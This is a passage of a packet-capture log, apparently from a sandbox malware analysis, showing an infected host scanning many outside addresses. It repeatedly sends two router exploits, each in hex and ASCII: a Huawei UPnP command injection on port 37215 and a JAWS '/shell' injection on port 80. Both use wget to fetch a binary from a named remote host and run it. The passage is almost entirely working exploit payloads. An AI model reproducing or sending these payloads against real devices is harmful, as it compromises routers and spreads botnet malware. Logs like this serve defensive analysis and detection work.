6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	36416	197.63.12.46	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.268898964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	33262	41.249.87.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.270070076 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	57758	41.129.88.86	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.270804882 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	51048	41.136.101.104	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.271532059 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	38538	41.71.37.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.272285938 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	42026	197.128.86.63	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.273128033 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	59706	156.154.82.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.274013996 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	34678	41.14.173.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.274772882 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	35834	75.46.147.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.083313942 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	45866	181.113.46.125	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.083878994 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	43700	8.145.15.147	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.084445953 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	58912	67.115.43.219	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.084990978 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	50556	158.99.97.254	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.085778952 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	35036	64.180.193.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.086431026 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	38432	112.146.51.255	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.087126017 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	46684	62.168.165.136	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.087778091 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	42532	181.95.234.17	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.088584900 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	40248	51.171.172.212	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.089267969 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	55178	75.148.35.4	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.091217041 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	38082	94.87.180.153	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.092323065 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	47666	132.254.47.159	80

Timestamp	Bytes transferred	Direction	Data
